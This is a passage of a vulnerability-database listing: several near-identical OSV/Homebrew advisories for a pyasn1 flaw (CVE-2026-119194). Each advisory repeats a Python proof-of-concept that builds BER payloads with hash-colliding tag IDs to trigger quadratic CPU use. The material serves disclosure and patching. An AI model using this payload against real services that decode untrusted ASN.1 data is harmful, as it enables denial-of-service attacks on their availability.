          "url": "https://github.com/pyasn1/pyasn1/commit/a36e3a3d067148d26197a6b7221fd0e2cde9cc86"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pyasn1/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.5"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "type": "CVSS_V3"
        }
      ],
      "summary": "pyasn1 has quadratic CPU use in schemaless BER/CER/DER container decoding",
      "upstream": [
        "GHSA-fm9c-5rcf-2q5p",
        "CVE-2026-119194"
      ]
    }

    BREW-LDEEP-CVE-2026-119194 (GHSA-FM9C-5RCF-2Q5P)

    Vulnerability from osv_homebrew – Published: 2026-10-31 08:40 – Updated: 2026-11-08 09:12 – Source website
    VLAI
    Summary
    pyasn1 has quadratic CPU use in schemaless BER/CER/DER container decoding
    Details

    Summary

    When an application decodes attacker-controlled BER, CER, or DER data without an ASN.1 schema, a container with many distinct long tag IDs can cause quadratic CPU use. Repeated inputs can exhaust CPU and reduce service availability.

    Details

    ConstructedPayloadDecoderBase._decodeComponentsSchemaless inserts every decoded component’s TagSet into a growing set, although it only needs to distinguish one tag set from two or more. Attacker-chosen tag IDs can have colliding TagSet hashes, making each later insertion compare against an increasing number of earlier tags. This path is present in v0.6.4 and is inherited by the CER and DER decoders. The proposed fix stops growing the classification set after it contains two distinct tag sets, while retaining every decoded component and its order. On v0.6.4 with CPython 3.12.10, increasing the collision input from 3,200 to 6,400 components raised decode CPU time from 0.438 to 1.747 seconds; a comparable control rose from 0.031 to 0.065 seconds. Both inputs decoded successfully with the expected values and an empty remainder.

    Proof of concept

    Run this outside the repository checkout in a fresh Python 3.12 environment with pyasn1==0.6.4 installed:

    import sys
    import time
    
    from pyasn1.codec.ber import decoder
    from pyasn1.type import univ
    
    
    def enc_tag(tag_id):
        groups = [tag_id & 0x7f]
        tag_id >>= 7
        while tag_id:
            groups.append((tag_id & 0x7f) | 0x80)
            tag_id >>= 7
        return b'\xbf' + bytes(reversed(groups))
    
    
    def payload(tag_ids):
        body = b''.join(enc_tag(tag_id) + b'\x03\x04\x01A'
                        for tag_id in tag_ids)
        length = len(body).to_bytes((len(body).bit_length() + 7) // 8, 'big')
        return b'\x30' + bytes([0x80 | len(length)]) + length + body
    
    
    for count in (3200, 6400):
        cases = (
            ("collision", [32 + i * sys.hash_info.modulus
                           for i in range(count)]),
            ("control", [(1 << 70) + i for i in range(count)]),
        )
        for name, tag_ids in cases:
            wire = payload(tag_ids)
            start = time.process_time()
            value, remainder = decoder.decode(wire)
            cpu_seconds = time.process_time() - start
    
            assert type(value) is univ.Sequence
            assert len(value) == count and remainder == b''
            for position, tag_id in enumerate(tag_ids):
                component = value.getComponentByPosition(position)
                assert component.asOctets() == b'A'
                assert component.tagSet[-1].tagId == tag_id
    
            print(count, name, len(wire), round(cpu_seconds, 3))
    

    Impact

    Applications that pass attacker-controlled bytes to schemaless BER, CER, or DER decoding can spend disproportionate CPU time on a relatively small, valid input. The demonstrated impact is availability; no confidentiality or integrity impact was observed.


    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "pyasn1",
            "resource_purl": "pkg:pypi/pyasn1@0.6.5",
            "upstream_fixed_in": "0.6.5"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "ldeep",
            "purl": "pkg:brew/ldeep"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "1.0.35"
                },
                {
                  "fixed": "2.0.4"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/pyasn1@0.6.5",
            "name": "pyasn1",
            "resource": "pyasn1",
            "strategy": "registry",
            "subject_version": "0.6.5"
          }
        ]
      },
      "details": "### Summary\n\nWhen an application decodes attacker-controlled BER, CER, or DER data without an ASN.1 schema, a container with many distinct long tag IDs can cause quadratic CPU use. Repeated inputs can exhaust CPU and reduce service availability.\n\n### Details\n\nConstructedPayloadDecoderBase._decodeComponentsSchemaless inserts every decoded component\u2019s TagSet into a growing set, although it only needs to distinguish one tag set from two or more. Attacker-chosen tag IDs can have colliding TagSet hashes, making each later insertion compare against an increasing number of earlier tags. This path is present in v0.6.4 and is inherited by the CER and DER decoders. The proposed fix stops growing the classification set after it contains two distinct tag sets, while retaining every decoded component and its order.  On v0.6.4 with CPython 3.12.10, increasing the collision input from 3,200 to 6,400 components raised decode CPU time from 0.438 to 1.747 seconds; a comparable control rose from 0.031 to 0.065 seconds. Both inputs decoded successfully with the expected values and an empty remainder.\n\n### Proof of concept\n\nRun this outside the repository checkout in a fresh Python 3.12 environment with pyasn1==0.6.4 installed:\n\n```python\nimport sys\nimport time\n\nfrom pyasn1.codec.ber import decoder\nfrom pyasn1.type import univ\n\n\ndef enc_tag(tag_id):\n    groups = [tag_id \u0026 0x7f]\n    tag_id \u003e\u003e= 7\n    while tag_id:\n        groups.append((tag_id \u0026 0x7f) | 0x80)\n        tag_id \u003e\u003e= 7\n    return b\u0027\\xbf\u0027 + bytes(reversed(groups))\n\n\ndef payload(tag_ids):\n    body = b\u0027\u0027.join(enc_tag(tag_id) + b\u0027\\x03\\x04\\x01A\u0027\n                    for tag_id in tag_ids)\n    length = len(body).to_bytes((len(body).bit_length() + 7) // 8, \u0027big\u0027)\n    return b\u0027\\x30\u0027 + bytes([0x80 | len(length)]) + length + body\n\n\nfor count in (3200, 6400):\n    cases = (\n        (\"collision\", [32 + i * sys.hash_info.modulus\n                       for i in range(count)]),\n        (\"control\", [(1 \u003c\u003c 70) + i for i in range(count)]),\n    )\n    for name, tag_ids in cases:\n        wire = payload(tag_ids)\n        start = time.process_time()\n        value, remainder = decoder.decode(wire)\n        cpu_seconds = time.process_time() - start\n\n        assert type(value) is univ.Sequence\n        assert len(value) == count and remainder == b\u0027\u0027\n        for position, tag_id in enumerate(tag_ids):\n            component = value.getComponentByPosition(position)\n            assert component.asOctets() == b\u0027A\u0027\n            assert component.tagSet[-1].tagId == tag_id\n\n        print(count, name, len(wire), round(cpu_seconds, 3))\n```\n\n### Impact\n\nApplications that pass attacker-controlled bytes to schemaless BER, CER, or DER decoding can spend disproportionate CPU time on a relatively small, valid input. The demonstrated impact is availability; no confidentiality or integrity impact was observed.",
      "id": "BREW-ldeep-CVE-2026-119194",
      "modified": "2026-11-08T09:12:33Z",
      "published": "2026-10-31T08:40:46Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-fm9c-5rcf-2q5p"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-119194"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/pull/132"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/a36e3a3d067148d26197a6b7221fd0e2cde9cc86"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pyasn1/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.5"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "type": "CVSS_V3"
        }
      ],
      "summary": "pyasn1 has quadratic CPU use in schemaless BER/CER/DER container decoding",
      "upstream": [
        "GHSA-fm9c-5rcf-2q5p",
        "CVE-2026-119194"
      ]
    }

    BREW-MCP-GOOGLE-SHEETS-C… (GHSA-FM9C-5RCF-2Q5P)

    Vulnerability from osv_homebrew – Published: 2026-10-31 09:14 – Updated: 2026-10-31 19:04 – Source website
    VLAI
    Summary
    pyasn1 has quadratic CPU use in schemaless BER/CER/DER container decoding
    Details

    Summary

    When an application decodes attacker-controlled BER, CER, or DER data without an ASN.1 schema, a container with many distinct long tag IDs can cause quadratic CPU use. Repeated inputs can exhaust CPU and reduce service availability.

    Details

    ConstructedPayloadDecoderBase._decodeComponentsSchemaless inserts every decoded component’s TagSet into a growing set, although it only needs to distinguish one tag set from two or more. Attacker-chosen tag IDs can have colliding TagSet hashes, making each later insertion compare against an increasing number of earlier tags. This path is present in v0.6.4 and is inherited by the CER and DER decoders. The proposed fix stops growing the classification set after it contains two distinct tag sets, while retaining every decoded component and its order. On v0.6.4 with CPython 3.12.10, increasing the collision input from 3,200 to 6,400 components raised decode CPU time from 0.438 to 1.747 seconds; a comparable control rose from 0.031 to 0.065 seconds. Both inputs decoded successfully with the expected values and an empty remainder.

    Proof of concept

    Run this outside the repository checkout in a fresh Python 3.12 environment with pyasn1==0.6.4 installed:

    import sys
    import time
    
    from pyasn1.codec.ber import decoder
    from pyasn1.type import univ
    
    
    def enc_tag(tag_id):
        groups = [tag_id & 0x7f]
        tag_id >>= 7
        while tag_id:
            groups.append((tag_id & 0x7f) | 0x80)
            tag_id >>= 7
        return b'\xbf' + bytes(reversed(groups))
    
    
    def payload(tag_ids):
        body = b''.join(enc_tag(tag_id) + b'\x03\x04\x01A'
                        for tag_id in tag_ids)
        length = len(body).to_bytes((len(body).bit_length() + 7) // 8, 'big')
        return b'\x30' + bytes([0x80 | len(length)]) + length + body
    
    
    for count in (3200, 6400):
        cases = (
            ("collision", [32 + i * sys.hash_info.modulus
                           for i in range(count)]),
            ("control", [(1 << 70) + i for i in range(count)]),
        )
        for name, tag_ids in cases:
            wire = payload(tag_ids)
            start = time.process_time()
            value, remainder = decoder.decode(wire)
            cpu_seconds = time.process_time() - start
    
            assert type(value) is univ.Sequence
            assert len(value) == count and remainder == b''
            for position, tag_id in enumerate(tag_ids):
                component = value.getComponentByPosition(position)
                assert component.asOctets() == b'A'
                assert component.tagSet[-1].tagId == tag_id
    
            print(count, name, len(wire), round(cpu_seconds, 3))
    

    Impact

    Applications that pass attacker-controlled bytes to schemaless BER, CER, or DER decoding can spend disproportionate CPU time on a relatively small, valid input. The demonstrated impact is availability; no confidentiality or integrity impact was observed.


    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "pyasn1",
            "resource_purl": "pkg:pypi/pyasn1@0.6.5",
            "upstream_fixed_in": "0.6.5"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "mcp-google-sheets",
            "purl": "pkg:brew/mcp-google-sheets"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "0.5.1"
                },
                {
                  "fixed": "0.6.3_7"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/pyasn1@0.6.5",
            "name": "pyasn1",
            "resource": "pyasn1",
            "strategy": "registry",
            "subject_version": "0.6.5"
          }
        ]
      },
      "details": "### Summary\n\nWhen an application decodes attacker-controlled BER, CER, or DER data without an ASN.1 schema, a container with many distinct long tag IDs can cause quadratic CPU use. Repeated inputs can exhaust CPU and reduce service availability.\n\n### Details\n\nConstructedPayloadDecoderBase._decodeComponentsSchemaless inserts every decoded component\u2019s TagSet into a growing set, although it only needs to distinguish one tag set from two or more. Attacker-chosen tag IDs can have colliding TagSet hashes, making each later insertion compare against an increasing number of earlier tags. This path is present in v0.6.4 and is inherited by the CER and DER decoders. The proposed fix stops growing the classification set after it contains two distinct tag sets, while retaining every decoded component and its order.  On v0.6.4 with CPython 3.12.10, increasing the collision input from 3,200 to 6,400 components raised decode CPU time from 0.438 to 1.747 seconds; a comparable control rose from 0.031 to 0.065 seconds. Both inputs decoded successfully with the expected values and an empty remainder.\n\n### Proof of concept\n\nRun this outside the repository checkout in a fresh Python 3.12 environment with pyasn1==0.6.4 installed:\n\n```python\nimport sys\nimport time\n\nfrom pyasn1.codec.ber import decoder\nfrom pyasn1.type import univ\n\n\ndef enc_tag(tag_id):\n    groups = [tag_id \u0026 0x7f]\n    tag_id \u003e\u003e= 7\n    while tag_id:\n        groups.append((tag_id \u0026 0x7f) | 0x80)\n        tag_id \u003e\u003e= 7\n    return b\u0027\\xbf\u0027 + bytes(reversed(groups))\n\n\ndef payload(tag_ids):\n    body = b\u0027\u0027.join(enc_tag(tag_id) + b\u0027\\x03\\x04\\x01A\u0027\n                    for tag_id in tag_ids)\n    length = len(body).to_bytes((len(body).bit_length() + 7) // 8, \u0027big\u0027)\n    return b\u0027\\x30\u0027 + bytes([0x80 | len(length)]) + length + body\n\n\nfor count in (3200, 6400):\n    cases = (\n        (\"collision\", [32 + i * sys.hash_info.modulus\n                       for i in range(count)]),\n        (\"control\", [(1 \u003c\u003c 70) + i for i in range(count)]),\n    )\n    for name, tag_ids in cases:\n        wire = payload(tag_ids)\n        start = time.process_time()\n        value, remainder = decoder.decode(wire)\n        cpu_seconds = time.process_time() - start\n\n        assert type(value) is univ.Sequence\n        assert len(value) == count and remainder == b\u0027\u0027\n        for position, tag_id in enumerate(tag_ids):\n            component = value.getComponentByPosition(position)\n            assert component.asOctets() == b\u0027A\u0027\n            assert component.tagSet[-1].tagId == tag_id\n\n        print(count, name, len(wire), round(cpu_seconds, 3))\n```\n\n### Impact\n\nApplications that pass attacker-controlled bytes to schemaless BER, CER, or DER decoding can spend disproportionate CPU time on a relatively small, valid input. The demonstrated impact is availability; no confidentiality or integrity impact was observed.",
      "id": "BREW-mcp-google-sheets-CVE-2026-119194",
      "modified": "2026-10-31T19:04:08Z",
      "published": "2026-10-31T09:14:24Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-fm9c-5rcf-2q5p"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-119194"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/pull/132"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/a36e3a3d067148d26197a6b7221fd0e2cde9cc86"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pyasn1/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.5"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "type": "CVSS_V3"
        }
      ],
      "summary": "pyasn1 has quadratic CPU use in schemaless BER/CER/DER container decoding",
      "upstream": [
        "GHSA-fm9c-5rcf-2q5p",
        "CVE-2026-119194"
      ]
    }

    BREW-MISTRAL-VIBE-CVE-20… (GHSA-FM9C-5RCF-2Q5P)

    Vulnerability from osv_homebrew – Published: 2026-10-31 10:31 – Updated: 2026-11-08 10:18 – Source website
    VLAI
    Summary
    pyasn1 has quadratic CPU use in schemaless BER/CER/DER container decoding
    Details

    Summary

    When an application decodes attacker-controlled BER, CER, or DER data without an ASN.1 schema, a container with many distinct long tag IDs can cause quadratic CPU use. Repeated inputs can exhaust CPU and reduce service availability.

    Details

    ConstructedPayloadDecoderBase._decodeComponentsSchemaless inserts every decoded component’s TagSet into a growing set, although it only needs to distinguish one tag set from two or more. Attacker-chosen tag IDs can have colliding TagSet hashes, making each later insertion compare against an increasing number of earlier tags. This path is present in v0.6.4 and is inherited by the CER and DER decoders. The proposed fix stops growing the classification set after it contains two distinct tag sets, while retaining every decoded component and its order. On v0.6.4 with CPython 3.12.10, increasing the collision input from 3,200 to 6,400 components raised decode CPU time from 0.438 to 1.747 seconds; a comparable control rose from 0.031 to 0.065 seconds. Both inputs decoded successfully with the expected values and an empty remainder.

    Proof of concept

    Run this outside the repository checkout in a fresh Python 3.12 environment with pyasn1==0.6.4 installed:

    import sys
    import time
    
    from pyasn1.codec.ber import decoder
    from pyasn1.type import univ
    
    
    def enc_tag(tag_id):
        groups = [tag_id & 0x7f]
        tag_id >>= 7
        while tag_id:
            groups.append((tag_id & 0x7f) | 0x80)
            tag_id >>= 7
        return b'\xbf' + bytes(reversed(groups))
    
    
    def payload(tag_ids):
        body = b''.join(enc_tag(tag_id) + b'\x03\x04\x01A'
                        for tag_id in tag_ids)
        length = len(body).to_bytes((len(body).bit_length() + 7) // 8, 'big')
        return b'\x30' + bytes([0x80 | len(length)]) + length + body
    
    
    for count in (3200, 6400):
        cases = (
            ("collision", [32 + i * sys.hash_info.modulus
                           for i in range(count)]),
            ("control", [(1 << 70) + i for i in range(count)]),
        )
        for name, tag_ids in cases:
            wire = payload(tag_ids)
            start = time.process_time()
            value, remainder = decoder.decode(wire)
            cpu_seconds = time.process_time() - start
    
            assert type(value) is univ.Sequence
            assert len(value) == count and remainder == b''
            for position, tag_id in enumerate(tag_ids):
                component = value.getComponentByPosition(position)
                assert component.asOctets() == b'A'
                assert component.tagSet[-1].tagId == tag_id
    
            print(count, name, len(wire), round(cpu_seconds, 3))
    

    Impact

    Applications that pass attacker-controlled bytes to schemaless BER, CER, or DER decoding can spend disproportionate CPU time on a relatively small, valid input. The demonstrated impact is availability; no confidentiality or integrity impact was observed.


    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "pyasn1",
            "resource_purl": "pkg:pypi/pyasn1@0.6.5",
            "upstream_fixed_in": "0.6.5"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "mistral-vibe",
            "purl": "pkg:brew/mistral-vibe"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "2.2.0"
                },
                {
                  "fixed": "3.1.0"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/pyasn1@0.6.5",
            "name": "pyasn1",
            "resource": "pyasn1",
            "strategy": "registry",
            "subject_version": "0.6.5"
          }
        ]
      },
      "details": "### Summary\n\nWhen an application decodes attacker-controlled BER, CER, or DER data without an ASN.1 schema, a container with many distinct long tag IDs can cause quadratic CPU use. Repeated inputs can exhaust CPU and reduce service availability.\n\n### Details\n\nConstructedPayloadDecoderBase._decodeComponentsSchemaless inserts every decoded component\u2019s TagSet into a growing set, although it only needs to distinguish one tag set from two or more. Attacker-chosen tag IDs can have colliding TagSet hashes, making each later insertion compare against an increasing number of earlier tags. This path is present in v0.6.4 and is inherited by the CER and DER decoders. The proposed fix stops growing the classification set after it contains two distinct tag sets, while retaining every decoded component and its order.  On v0.6.4 with CPython 3.12.10, increasing the collision input from 3,200 to 6,400 components raised decode CPU time from 0.438 to 1.747 seconds; a comparable control rose from 0.031 to 0.065 seconds. Both inputs decoded successfully with the expected values and an empty remainder.\n\n### Proof of concept\n\nRun this outside the repository checkout in a fresh Python 3.12 environment with pyasn1==0.6.4 installed:\n\n```python\nimport sys\nimport time\n\nfrom pyasn1.codec.ber import decoder\nfrom pyasn1.type import univ\n\n\ndef enc_tag(tag_id):\n    groups = [tag_id \u0026 0x7f]\n    tag_id \u003e\u003e= 7\n    while tag_id:\n        groups.append((tag_id \u0026 0x7f) | 0x80)\n        tag_id \u003e\u003e= 7\n    return b\u0027\\xbf\u0027 + bytes(reversed(groups))\n\n\ndef payload(tag_ids):\n    body = b\u0027\u0027.join(enc_tag(tag_id) + b\u0027\\x03\\x04\\x01A\u0027\n                    for tag_id in tag_ids)\n    length = len(body).to_bytes((len(body).bit_length() + 7) // 8, \u0027big\u0027)\n    return b\u0027\\x30\u0027 + bytes([0x80 | len(length)]) + length + body\n\n\nfor count in (3200, 6400):\n    cases = (\n        (\"collision\", [32 + i * sys.hash_info.modulus\n                       for i in range(count)]),\n        (\"control\", [(1 \u003c\u003c 70) + i for i in range(count)]),\n    )\n    for name, tag_ids in cases:\n        wire = payload(tag_ids)\n        start = time.process_time()\n        value, remainder = decoder.decode(wire)\n        cpu_seconds = time.process_time() - start\n\n        assert type(value) is univ.Sequence\n        assert len(value) == count and remainder == b\u0027\u0027\n        for position, tag_id in enumerate(tag_ids):\n            component = value.getComponentByPosition(position)\n            assert component.asOctets() == b\u0027A\u0027\n            assert component.tagSet[-1].tagId == tag_id\n\n        print(count, name, len(wire), round(cpu_seconds, 3))\n```\n\n### Impact\n\nApplications that pass attacker-controlled bytes to schemaless BER, CER, or DER decoding can spend disproportionate CPU time on a relatively small, valid input. The demonstrated impact is availability; no confidentiality or integrity impact was observed.",
      "id": "BREW-mistral-vibe-CVE-2026-119194",
      "modified": "2026-11-08T10:18:50Z",
      "published": "2026-10-31T10:31:42Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-fm9c-5rcf-2q5p"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-119194"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/pull/132"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/a36e3a3d067148d26197a6b7221fd0e2cde9cc86"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pyasn1/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.5"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "type": "CVSS_V3"
        }
      ],
      "summary": "pyasn1 has quadratic CPU use in schemaless BER/CER/DER container decoding",
      "upstream": [
        "GHSA-fm9c-5rcf-2q5p",
        "CVE-2026-119194"
      ]
    }